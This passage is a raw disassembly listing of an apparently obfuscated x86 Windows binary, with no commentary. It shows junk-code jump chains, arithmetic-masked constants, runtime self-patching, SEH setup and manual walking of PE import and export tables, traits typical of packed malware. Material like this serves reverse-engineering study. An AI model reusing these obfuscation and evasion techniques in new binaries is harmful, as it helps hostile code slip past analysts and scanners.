--------------------------------------------------------------------------- sbb esi, eax jmp sub_4264FA ; --------------------------------------------------------------------------- loc_4268B3: ; CODE XREF: hjohnhn9:00424FFBj jb loc_424DC6 inc ds:dword_4233C4 lea eax, nullsub_123 mov byte ptr [eax], 0C3h push edx push 0E3CA6C32h jmp loc_427B88 ; --------------------------------------------------------------------------- loc_4268D3: ; DATA XREF: sub_424D38+3D79o test al, al jnz loc_427BB5 ; START OF FUNCTION CHUNK FOR sub_4250FC loc_4268DB: ; CODE XREF: sub_4250FC+4j ; sub_4287BF:loc_427234j ... call sub_4248F9 loc_4268E0: ; CODE XREF: hjohnhn9:004232FDj jmp loc_423361 ; END OF FUNCTION CHUNK FOR sub_4250FC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4231AD loc_4268E5: ; CODE XREF: sub_4231AD:loc_426A62j cmp al, 0C2h jz loc_427555 mov eax, [ebp-4] mov ax, [eax] jmp loc_424CEC ; END OF FUNCTION CHUNK FOR sub_4231AD ; --------------------------------------------------------------------------- loc_4268F8: ; CODE XREF: hjohnhn9:loc_42823Aj and edx, 0B238D165h or edx, 0F450CED8h add edx, 0BF17789h xchg edx, [esp] jmp loc_425E3F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4250FC loc_426912: ; CODE XREF: sub_4250FC:loc_4234A7j add eax, [esp-4+arg_0] adc edx, [esp-4+arg_4] add esp, 8 mov [ebp-4], eax jmp loc_424D4A ; END OF FUNCTION CHUNK FOR sub_4250FC ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426924 proc near ; CODE XREF: sub_4287BF-1576p ; sub_4287BF-13Bp var_28 = dword ptr -28h var_20 = dword ptr -20h ; FUNCTION CHUNK AT 004233D3 SIZE 0000000E BYTES push ebp mov ebp, esp add esp, 0FFFFFFD8h jmp loc_4233D3 sub_426924 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_42692F: ; CODE XREF: sub_424631+C1Cj or dword ptr [eax-8], 8 jmp loc_427D89 ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426354 loc_426938: ; CODE XREF: sub_424B4Aj ; sub_426354-17F0j cmp dword ptr [ebp-1Ch], 67h push offset sub_427805 jmp nullsub_21 ; END OF FUNCTION CHUNK FOR sub_426354 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_58. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426708 loc_426947: ; CODE XREF: sub_426708-3F1j not ebp or eax, 0F0CF36D1h mov ebx, 6289DE42h and ecx, edx or eax, 4E2FC016h jmp loc_4247A4 ; END OF FUNCTION CHUNK FOR sub_426708 ; =============== S U B R O U T I N E ======================================= sub_426961 proc near ; CODE XREF: sub_428CC9-3137p ; hjohnhn9:004265E3j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0042784B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004278A0 SIZE 00000017 BYTES xchg ecx, [esp+0] pop ecx push eax push 0F195E43Ah xchg ebx, [esp+4+var_4] mov eax, ebx pop ebx or eax, 4EBD3638h jmp loc_42784B sub_426961 endp ; --------------------------------------------------------------------------- loc_42697C: ; CODE XREF: hjohnhn9:00428A56j xchg edx, [esp] jmp nullsub_1 ; --------------------------------------------------------------------------- test edi, 2A51C452h jmp loc_426C41 ; =============== S U B R O U T I N E ======================================= sub_42698F proc near ; CODE XREF: sub_423CCD+3520p ; hjohnhn9:004274C5j ; FUNCTION CHUNK AT 00426E55 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042726B SIZE 00000002 BYTES xchg edx, [esp+0] loc_426992: ; CODE XREF: hjohnhn9:0042386Fj pop edx inc dword ptr [ebp-8] loc_426996: ; CODE XREF: hjohnhn9:00423B67j ; sub_423CCD+35B6j mov eax, [ebp-8] pop ecx pop ecx jmp loc_426E55 sub_42698F endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42325E loc_4269A0: ; CODE XREF: sub_42325E-7Ej ; sub_42325E+42DEj and ebx, 19C6FA51h rol ebx, 14h add ebx, 8030F40Bh xchg ebx, [esp+18h+var_18] jmp sub_4279ED ; END OF FUNCTION CHUNK FOR sub_42325E ; --------------------------------------------------------------------------- loc_4269B7: ; CODE XREF: hjohnhn9:00428801j jns loc_4286A7 ; =============== S U B R O U T I N E ======================================= sub_4269BD proc near ; CODE XREF: sub_426924-3548p ; FUNCTION CHUNK AT 00424117 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 004266AB SIZE 00000005 BYTES xchg esi, [esp+0] pop esi mov dword ptr [ebp-14h], 4 mov eax, [ebp-14h] mov [ebp-4], eax mov eax, [ebp-14h] mov [ebp-0Ch], eax jmp loc_424117 sub_4269BD endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_4269D9: ; CODE XREF: hjohnhn9:loc_4282C9j jg near ptr dword_4236FC+35h cmp ebp, esi jmp loc_423977 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42851A loc_4269E6: ; CODE XREF: sub_42851A-1D3Fj jz loc_424E76 jmp loc_429107 ; END OF FUNCTION CHUNK FOR sub_42851A ; --------------------------------------------------------------------------- cmp eax, 22C84A22h jmp loc_424EC3 ; --------------------------------------------------------------------------- add ebp, ecx jmp sub_42466E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424819 loc_426A03: ; CODE XREF: sub_424819:loc_425F9Ej jz loc_426491 loc_426A09: ; CODE XREF: hjohnhn9:00426EBFj jmp loc_427B0E ; END OF FUNCTION CHUNK FOR sub_424819 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426F5A loc_426A0E: ; CODE XREF: sub_426F5A-3A5j jmp loc_42513C ; END OF FUNCTION CHUNK FOR sub_426F5A ; --------------------------------------------------------------------------- pushf or ecx, 0C756CE28h mov eax, ebx jmp loc_428AD2 ; --------------------------------------------------------------------------- ror edx, 14h jmp sub_425E94 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425B19 loc_426A29: ; CODE XREF: sub_425B19+16j pop ebx retn ; END OF FUNCTION CHUNK FOR sub_425B19 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4285DF loc_426A2B: ; CODE XREF: sub_4285DF+7j jmp nullsub_77 ; END OF FUNCTION CHUNK FOR sub_4285DF ; =============== S U B R O U T I N E ======================================= sub_426A30 proc near ; CODE XREF: sub_425B19+2p ; FUNCTION CHUNK AT 00423126 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042328D SIZE 00000014 BYTES ; FUNCTION CHUNK AT 004247B9 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 004248F1 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00426BBA SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00426FF4 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 00427179 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00427BB3 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 004288AD SIZE 0000001C BYTES push large dword ptr fs:0 mov large fs:0, esp call sub_427032 call sub_42873F mov edx, [ebx+3Ch] mov edx, [ebx+edx+80h] jmp loc_427179 sub_426A30 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_112. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428D64 loc_426A58: ; CODE XREF: sub_428D64+Aj jmp loc_428D33 ; END OF FUNCTION CHUNK FOR sub_428D64 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4282F8 loc_426A5D: ; CODE XREF: sub_4282F8-272Bj jmp nullsub_52 ; END OF FUNCTION CHUNK FOR sub_4282F8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4231AD loc_426A62: ; CODE XREF: sub_4231AD+11j jmp loc_4268E5 ; END OF FUNCTION CHUNK FOR sub_4231AD ; --------------------------------------------------------------------------- rol edi, 0Dh push ebp jmp sub_423F77 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_25. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- xchg edx, esi jmp loc_428655 ; =============== S U B R O U T I N E ======================================= sub_426A78 proc near ; CODE XREF: sub_4279C0-2FEEp ; hjohnhn9:00426F30j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00423217 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004233C8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042377B SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00423D47 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 004250D5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004250EF SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00425187 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00425F15 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 00426573 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 00427436 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004276FC SIZE 00000010 BYTES ; FUNCTION CHUNK AT 004279B6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427B1B SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00428510 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428994 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428EDE SIZE 00000007 BYTES xchg edi, [esp+0] pop edi mov esp, ebp pop ebp jmp loc_4279B6 sub_426A78 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423BC3 loc_426A84: ; CODE XREF: sub_423BC3-4FBj add ebx, 0F684B8BAh loc_426A8A: ; CODE XREF: sub_4251EB-1F19j cmp ebp, ecx jmp loc_427825 ; END OF FUNCTION CHUNK FOR sub_423BC3 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_13. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428DDB loc_426A92: ; CODE XREF: sub_428DDB+Ej jmp locret_428EC4 ; END OF FUNCTION CHUNK FOR sub_428DDB ; --------------------------------------------------------------------------- loc_426A97: ; DATA XREF: sub_426F85+11D3o inc eax mov [ebp-1Ch], eax mov dword ptr [ebp-18h], 0 ; START OF FUNCTION CHUNK FOR sub_427852 loc_426AA2: ; CODE XREF: sub_427852+733j mov eax, [ebp-4] mov edx, [ebp-14h] jmp loc_428F16 ; END OF FUNCTION CHUNK FOR sub_427852 ; --------------------------------------------------------------------------- loc_426AAD: ; DATA XREF: sub_424771+1o call sub_428F0B push eax push eax call sub_428E01 call sub_4265CD jmp loc_424723 ; --------------------------------------------------------------------------- loc_426AC3: ; DATA XREF: sub_42441D+233Bo shr eax, 0Bh xor [ebp-8], eax mov eax, [ebp-8] jmp loc_4240C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425029 loc_426AD1: ; CODE XREF: sub_425029:loc_425040j mov eax, [ebp-0Ch] cmp byte ptr [eax], 0 loc_426AD7: ; CODE XREF: sub_427C9B-21A5j jnz loc_423031 mov eax, [ebp-8] shl eax, 3 jmp loc_42737B ; END OF FUNCTION CHUNK FOR sub_425029 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_21. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42304F loc_426AE9: ; CODE XREF: sub_42304F+437Cj jmp loc_426C4F ; END OF FUNCTION CHUNK FOR sub_42304F ; --------------------------------------------------------------------------- ror ebp, 18h jmp sub_428271 ; =============== S U B R O U T I N E ======================================= sub_426AF6 proc near ; CODE XREF: hjohnhn9:004289D6p ; hjohnhn9:00428EFDj xchg edx, [esp+0] pop edx ror eax, 7 mov ds:dword_4233A0, eax retn sub_426AF6 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4266B5 loc_426B04: ; CODE XREF: sub_4266B5+23C4j jmp loc_424913 ; END OF FUNCTION CHUNK FOR sub_4266B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427810 loc_426B09: ; CODE XREF: sub_427810+10j jmp loc_4273B2 ; END OF FUNCTION CHUNK FOR sub_427810 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423F77 loc_426B0E: ; CODE XREF: sub_423F77+9j jmp loc_423F91 ; END OF FUNCTION CHUNK FOR sub_423F77 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423CDB loc_426B13: ; CODE XREF: sub_423CDB:loc_42886Cj jz loc_427B9C jmp loc_427449 ; END OF FUNCTION CHUNK FOR sub_423CDB ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_74. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423CDB loc_426B1F: ; CODE XREF: sub_423CDB:loc_426809j pop ecx pop ecx loc_426B21: ; CODE XREF: sub_424361:loc_42702Dj pop ebp retn ; END OF FUNCTION CHUNK FOR sub_423CDB ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4237F4 loc_426B24: ; CODE XREF: sub_4237F4+6j jmp loc_427DD2 ; END OF FUNCTION CHUNK FOR sub_4237F4 ; =============== S U B R O U T I N E ======================================= sub_426B29 proc near ; CODE XREF: sub_4264CF:loc_427392p ; sub_427032:loc_427E45p ; FUNCTION CHUNK AT 00425284 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00427D8E SIZE 0000000F BYTES push ebp jmp loc_425284 sub_426B29 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4237F4 loc_426B2F: ; CODE XREF: sub_4237F4+45EDj jz loc_4243D9 jmp loc_423963 ; END OF FUNCTION CHUNK FOR sub_4237F4 ; --------------------------------------------------------------------------- loc_426B3A: ; CODE XREF: hjohnhn9:004239B3j ; hjohnhn9:004239CBj cmp dword ptr [ebp-8], 0A22F8A70h jz loc_4244EE mov eax, [ebp-0Ch] call sub_4244F5 jmp loc_426184 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_40. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42345B loc_426B55: ; CODE XREF: sub_42345B+CF3j jmp nullsub_2 ; END OF FUNCTION CHUNK FOR sub_42345B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427B7A loc_426B5A: ; CODE XREF: sub_427B7A:loc_427A79j add dword ptr [ebp-8], 4 jmp loc_42856C ; END OF FUNCTION CHUNK FOR sub_427B7A ; --------------------------------------------------------------------------- loc_426B63: ; CODE XREF: hjohnhn9:loc_426597j ; hjohnhn9:00427A73j call sub_426BD2 ; START OF FUNCTION CHUNK FOR sub_4265CD loc_426B68: ; CODE XREF: sub_4265CD-217Ej jmp loc_427FAF ; END OF FUNCTION CHUNK FOR sub_4265CD ; --------------------------------------------------------------------------- and ebx, edx mov ebp, 571DCF8Eh jmp sub_423CDB ; --------------------------------------------------------------------------- and eax, ebp jmp sub_428249 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428271 loc_426B80: ; CODE XREF: sub_428271+9j shl eax, 2 cdq js loc_424073 add eax, [esp+0] call sub_427852 loc_426B92: ; CODE XREF: sub_424A55+246j jmp loc_4286E6 ; END OF FUNCTION CHUNK FOR sub_428271 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424819 loc_426B97: ; CODE XREF: sub_424819-C11j jmp loc_426875 ; END OF FUNCTION CHUNK FOR sub_424819 ; --------------------------------------------------------------------------- loc_426B9C: ; CODE XREF: hjohnhn9:00426F6Bj ; hjohnhn9:loc_427F49j mov eax, [ebp-1Ch] cmp byte ptr [eax], 0 jnz loc_42619C ; START OF FUNCTION CHUNK FOR sub_426F5A loc_426BA8: ; CODE XREF: sub_426F5A:loc_425D65j call sub_427E85 loc_426BAD: ; DATA XREF: sub_426CE6+16FCo or eax, eax jnz loc_426FC7 jmp loc_426A0E ; END OF FUNCTION CHUNK FOR sub_426F5A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426A30 loc_426BBA: ; CODE XREF: sub_426A30:loc_423126j mov ecx, [ebx+ecx+78h] or ecx, ecx call sub_426E8C loc_426BC5: ; CODE XREF: sub_42790F+Dj jmp nullsub_26 ; END OF FUNCTION CHUNK FOR sub_426A30 ; --------------------------------------------------------------------------- mov ebp, edx pushf jmp sub_424946 ; =============== S U B R O U T I N E ======================================= sub_426BD2 proc near ; CODE XREF: hjohnhn9:00426842j ; hjohnhn9:loc_426B63p ; FUNCTION CHUNK AT 004235C0 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00427A69 SIZE 00000003 BYTES xchg eax, [esp+0] pop eax add dword ptr [ebp-8], 2 jmp loc_4235C0 sub_426BD2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424A78 loc_426BDF: ; CODE XREF: sub_424A78:loc_424C0Cj ; sub_424A78+1B0j test byte ptr [ebp-8], 20h jz loc_428B8A push ebp loc_426BEA: ; CODE XREF: hjohnhn9:loc_42822Cj mov eax, [ebp-20h] call sub_4282F8 jmp loc_4248CB ; END OF FUNCTION CHUNK FOR sub_424A78 ; --------------------------------------------------------------------------- loc_426BF7: ; CODE XREF: hjohnhn9:004237E4j sbb esi, 0A2FC903Eh ; =============== S U B R O U T I N E ======================================= sub_426BFD proc near ; CODE XREF: hjohnhn9:0042861Cp xchg esi, [esp+0] pop esi push edx mov edx, esi call sub_424928 sub_426BFD endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_426C09 proc near ; CODE XREF: sub_426827+6p ; hjohnhn9:004276E6j ; FUNCTION CHUNK AT 0042361F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00424891 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00425E6E SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0042654D SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00428F8E SIZE 00000011 BYTES xchg ecx, [esp+0] pop ecx cmp dword ptr [ebp-10h], 0 jge loc_424788 jmp loc_424891 sub_426C09 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_426C1C proc near ; CODE XREF: hjohnhn9:00424B85j ; sub_424161+3A88p xchg ebx, [esp+0] pop ebx call sub_423CCD pop ecx mov [ebp-20h], eax jmp loc_423C90 sub_426C1C endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423B6C loc_426C2E: ; CODE XREF: sub_423B6C+6j mov [ebp+var_4], eax mov eax, [ebp+var_4] mov [ebp+var_8], eax push offset loc_4235B0 loc_426C3C: ; CODE XREF: hjohnhn9:loc_42417Bj jmp nullsub_24 ; END OF FUNCTION CHUNK FOR sub_423B6C ; --------------------------------------------------------------------------- loc_426C41: ; CODE XREF: hjohnhn9:0042698Aj jns loc_424F3E pushf ; =============== S U B R O U T I N E ======================================= sub_426C48 proc near ; CODE XREF: hjohnhn9:0042490Ep xchg edx, [esp+0] pop edx mov eax, [eax+0Ch] sub_426C48 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_42304F loc_426C4F: ; CODE XREF: sub_42304F:loc_426AE9j ; sub_42304F+40BEj js loc_42306D mov ebx, [eax+18h] jmp loc_424F43 ; END OF FUNCTION CHUNK FOR sub_42304F ; =============== S U B R O U T I N E ======================================= sub_426C5D proc near ; DATA XREF: sub_426749-3000o mov eax, [ebp-4] mov esp, ebp pop ebp retn sub_426C5D endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423F65 loc_426C64: ; CODE XREF: sub_423F65+12CBj ; hjohnhn9:loc_426CE0j jmp loc_428BF7 ; END OF FUNCTION CHUNK FOR sub_423F65 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423A75 loc_426C69: ; CODE XREF: sub_423A75+8j jmp loc_4271B8 ; END OF FUNCTION CHUNK FOR sub_423A75 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_43. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427E7B loc_426C6F: ; CODE XREF: sub_427E7B+5j jmp nullsub_42 ; END OF FUNCTION CHUNK FOR sub_427E7B ; --------------------------------------------------------------------------- test esi, 23688F42h jmp loc_428440 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424161 loc_426C7F: ; CODE XREF: sub_424161:loc_424D68j jl loc_4251B2 add ecx, 0DC4540C3h mov esi, 0D440BF32h jo loc_423F86 jmp loc_4251B2 ; END OF FUNCTION CHUNK FOR sub_424161 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4263E3 loc_426C9B: ; CODE XREF: sub_4263E3-1382j js loc_42326A loc_426CA1: ; CODE XREF: sub_4263E3:loc_4248A6j call sub_424877 push 920F95FFh pop edx add edx, 91B68572h sub edx, 7BF5D68h xor edx, 78E917E4h call sub_4279ED jmp loc_4290A8 ; END OF FUNCTION CHUNK FOR sub_4263E3 ; =============== S U B R O U T I N E ======================================= sub_426CC8 proc near ; DATA XREF: hjohnhn9:loc_428BA0o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0042484F SIZE 00000011 BYTES ; FUNCTION CHUNK AT 004260B3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042633F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426DCF SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00426F98 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 004286BD SIZE 00000020 BYTES lea eax, [ebp-14h] push eax call sub_423425 push ecx push 948EBC6Bh pop ecx rol ecx, 0Eh jmp loc_42484F sub_426CC8 endp ; --------------------------------------------------------------------------- loc_426CE0: ; CODE XREF: hjohnhn9:00424962j jns loc_426C64 ; =============== S U B R O U T I N E ======================================= sub_426CE6 proc near ; CODE XREF: sub_4262C5:loc_4264E6p ; FUNCTION CHUNK AT 0042376C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00423EC1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004283E0 SIZE 0000000C BYTES xchg edx, [esp+0] pop edx add eax, 82C2CCCDh jmp loc_423EC1 sub_426CE6 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_426CF5: ; CODE XREF: hjohnhn9:004274D0j js loc_423D79 not esi jmp sub_4240E6 ; =============== S U B R O U T I N E ======================================= sub_426D02 proc near ; CODE XREF: sub_428FD3+3j ; FUNCTION CHUNK AT 0042326A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427458 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004274D5 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 00428806 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00428F06 SIZE 00000005 BYTES add esp, 0FFFFFFECh cmp ds:dword_428AF0, 0 jnz loc_428806 jmp loc_428F06 sub_426D02 endp ; =============== S U B R O U T I N E ======================================= sub_426D17 proc near ; CODE XREF: hjohnhn9:loc_42462Cp ; hjohnhn9:00428B41j ; FUNCTION CHUNK AT 004234F1 SIZE 00000014 BYTES xchg edx, [esp+0] pop edx call sub_424877 mov edx, 0A22F8A70h call sub_427C53 jmp loc_4234F1 sub_426D17 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423CDB loc_426D2F: ; CODE XREF: sub_423CDB:loc_425076j add eax, 18h loc_426D32: ; CODE XREF: hjohnhn9:loc_423D33j mov [ebp-10h], eax loc_426D35: ; CODE XREF: hjohnhn9:loc_42432Fj mov eax, [ebp-10h] mov eax, [eax+60h] add eax, [ebp-4] mov [ebp-14h], eax jmp loc_4283F7 ; END OF FUNCTION CHUNK FOR sub_423CDB ; --------------------------------------------------------------------------- loc_426D46: ; CODE XREF: hjohnhn9:004281DAj shr edi, 1 test esi, edx jmp near ptr dword_4236FC+0Ch ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4247F4 loc_426D4F: ; CODE XREF: sub_4247F4+8j pop ebp xor eax, eax push esi push 0CF9699A1h pop esi and esi, 2FAD298Fh add esi, 31404E79h jmp loc_428A7E ; END OF FUNCTION CHUNK FOR sub_4247F4 ; =============== S U B R O U T I N E ======================================= sub_426D6A proc near ; CODE XREF: hjohnhn9:004283F2j ; sub_425C98+2AEBp xchg esi, [esp+0] pop esi push ebx push 35781F85h pop ebx sub ebx, 0C4F0A04Ah xor ebx, 0DDF980Dh jns near ptr dword_4236FC+7 loc_426D87: ; CODE XREF: hjohnhn9:00423829j jmp loc_427D5C sub_426D6A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4260BD loc_426D8C: ; CODE XREF: sub_4260BD-6Ej jns loc_424DB8 push ecx loc_426D93: ; CODE XREF: sub_4260BD:loc_424A12j mov byte ptr [ebp-20h], 2Dh inc dword ptr [ebp-10h] neg dword ptr [ebp-8] loc_426D9D: ; CODE XREF: sub_4260BD+1585j call sub_423753 mov [ecx], ebx pushf jmp sub_426211 ; END OF FUNCTION CHUNK FOR sub_4260BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424A78 loc_426DAA: ; CODE XREF: sub_424A78:loc_427984j pop esi mov eax, [eax] mov [ebp-0Ch], eax mov eax, [ebp-0Ch] mov esp, ebp jmp loc_42380B ; END OF FUNCTION CHUNK FOR sub_424A78 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4240AE loc_426DBA: ; CODE XREF: sub_4240AE+9j push esi push 76D18151h pop esi rol esi, 8 sub esi, 68E4B3E7h jmp loc_42769B ; END OF FUNCTION CHUNK FOR sub_4240AE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426CC8 loc_426DCF: ; CODE XREF: sub_426CC8-246Dj jnz loc_426F98 ; END OF FUNCTION CHUNK FOR sub_426CC8 ; START OF FUNCTION CHUNK FOR sub_426E8C loc_426DD5: ; CODE XREF: sub_426E8C+Aj jmp loc_4248D5 ; END OF FUNCTION CHUNK FOR sub_426E8C ; --------------------------------------------------------------------------- mov [ebx], edx mov eax, [esi] jmp loc_426F98 ; --------------------------------------------------------------------------- adc edx, esi jmp loc_4250C1 ; --------------------------------------------------------------------------- xchg esi, [ebp+0] jmp loc_425EE4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_15. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42325E loc_426DF3: ; CODE XREF: sub_42325E+3CF7j test ebp, edi jmp loc_425205 ; END OF FUNCTION CHUNK FOR sub_42325E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427C9B loc_426DFA: ; CODE XREF: sub_427C9B+13j popf ; END OF FUNCTION CHUNK FOR sub_427C9B ; =============== S U B R O U T I N E ======================================= sub_426DFB proc near ; CODE XREF: sub_4237F4+BF4p ; FUNCTION CHUNK AT 00423495 SIZE 00000012 BYTES xchg ebx, [esp+0] pop ebx push ebp mov ebp, eax loc_426E02: ; CODE XREF: sub_428E98:loc_423E17j jmp loc_4234A2 sub_426DFB endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426354 loc_426E07: ; CODE XREF: sub_426354:loc_4283BFj jz loc_42909E jmp loc_427A11 ; --------------------------------------------------------------------------- loc_426E12: ; CODE XREF: sub_426354-47Bj push offset loc_4237BD jmp nullsub_25 ; END OF FUNCTION CHUNK FOR sub_426354 ; --------------------------------------------------------------------------- mov eax, ds:dword_4252D0 call sub_4244F5 mov esp, ebp xchg ecx, [esp] mov ebp, ecx pop ecx push esi jmp loc_4241AA ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_115. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_426E35: ; CODE XREF: sub_424631+1F11j jmp loc_423ED7 ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- dw 3F06h dword_426E3C dd 77E60000h ; DATA XREF: sub_4240E6+4r ; sub_4284CB:loc_427FBFr ... dword_426E40 dd 37392B6Bh, 8C331B65h, 6C8D235Ch ; DATA XREF: hjohnhn9:00428061o ; hjohnhn9:loc_4280BFo db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4260BD loc_426E4D: ; CODE XREF: sub_4260BD-1737j jmp loc_4282E4 ; END OF FUNCTION CHUNK FOR sub_4260BD ; --------------------------------------------------------------------------- dw 227h byte_426E54 db 1 ; DATA XREF: sub_426749+1AC2w ; sub_426749+2702r ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42698F loc_426E55: ; CODE XREF: sub_42698F+Cj jmp loc_42726B ; END OF FUNCTION CHUNK FOR sub_42698F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426708 loc_426E5A: ; CODE XREF: sub_426708-53Ej jmp loc_426311 ; END OF FUNCTION CHUNK FOR sub_426708 ; --------------------------------------------------------------------------- db 76h dword_426E60 dd 6C911D6Eh, 6323176Ch, 5209008Dh ; DATA 